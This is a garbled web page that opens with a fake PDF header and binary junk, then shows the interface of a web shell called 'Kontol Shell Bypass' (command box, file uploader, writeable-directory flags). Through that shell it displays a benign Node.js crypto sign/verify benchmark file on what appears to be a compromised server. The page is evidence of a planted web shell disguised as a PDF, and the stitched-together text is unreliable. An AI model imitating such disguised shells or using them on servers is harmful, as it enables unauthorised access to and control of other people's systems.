%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/benchmark/crypto/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/benchmark/crypto/oneshot-sign-verify.js
'use strict';

const common = require('../common.js');
const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
const fixtures_keydir = path.resolve(__dirname, '../../test/fixtures/keys/');
const keyFixtures = {
  publicKey: fs.readFileSync(`${fixtures_keydir}/ec_p256_public.pem`)
    .toString(),
  privateKey: fs.readFileSync(`${fixtures_keydir}/ec_p256_private.pem`)
    .toString()
};

const data = crypto.randomBytes(256);

let pems;
let keyObjects;

function getKeyObject({ privateKey, publicKey }) {
  return {
    privateKey: crypto.createPrivateKey(privateKey),
    publicKey: crypto.createPublicKey(publicKey)
  };
}

const bench = common.createBenchmark(main, {
  mode: ['sync', 'async-serial', 'async-parallel'],
  keyFormat: ['pem', 'keyObject', 'pem.unique', 'keyObject.unique'],
  n: [1e3],
});

function measureSync(n, privateKey, publicKey, keys) {
  bench.start();
  for (let i = 0; i < n; ++i) {
    crypto.verify(
      'sha256',
      data,
      { key: publicKey || keys[i].publicKey, dsaEncoding: 'ieee-p1363' },
      crypto.sign(
        'sha256',
        data,
        { key: privateKey || keys[i].privateKey, dsaEncoding: 'ieee-p1363' }));
  }
  bench.end(n);
}

function measureAsyncSerial(n, privateKey, publicKey, keys) {
  let remaining = n;
  function done() {
    if (--remaining === 0)
      bench.end(n);
    else
      one();
  }

  function one() {
    crypto.sign(
      'sha256',
      data,
      {
        key: privateKey || keys[n - remaining].privateKey,
        dsaEncoding: 'ieee-p1363'
      },
      (err, signature) => {
        crypto.verify(
          'sha256',
          data,
          {
            key: publicKey || keys[n - remaining].publicKey,
            dsaEncoding: 'ieee-p1363'
          },
          signature,
          done);
      });
  }
  bench.start();
  one();
}

function measureAsyncParallel(n, privateKey, publicKey, keys) {
  let remaining = n;
  function done() {
    if (--remaining === 0)
      bench.end(n);
  }
  bench.start();
  for (let i = 0; i < n; ++i) {
    crypto.sign(
      'sha256',
      data,
      { key: privateKey || keys[i].privateKey, dsaEncoding: 'ieee-p1363' },
      (err, signature) => {
        crypto.verify(
          'sha256',
          data,
          { key: publicKey || keys[i].publicKey, dsaEncoding: 'ieee-p1363' },
          signature,
          done);
      });
  }
}

function main({ n, mode, keyFormat }) {
  pems ||= [...Buffer.alloc(n)].map(() => ({
    privateKey: keyFixtures.privateKey,
    publicKey: keyFixtures.publicKey
  }));
  keyObjects ||= pems.map(getKeyObject);

  let privateKey, publicKey, keys;

  switch (keyFormat) {
    case 'keyObject':
      ({ publicKey, privateKey } = keyObjects[0]);
      break;
    case 'pem':
      ({ publicKey, privateKey } = pems[0]);
      break;
    case 'pem.unique':
      keys = pems;
      break;
    case 'keyObject.unique':
      keys = keyObjects;
      break;
    default:
      throw new Error('not implemented');
  }

  switch (mode) {
    case 'sync':
      measureSync(n, privateKey, publicKey, keys);
      break;
    case 'async-serial':
      measureAsyncSerial(n, privateKey, publicKey, keys);
      break;
    case 'async-parallel':
      measureAsyncParallel(n, privateKey, publicKey, keys);
      break;
  }
}

Kontol Shell Bypass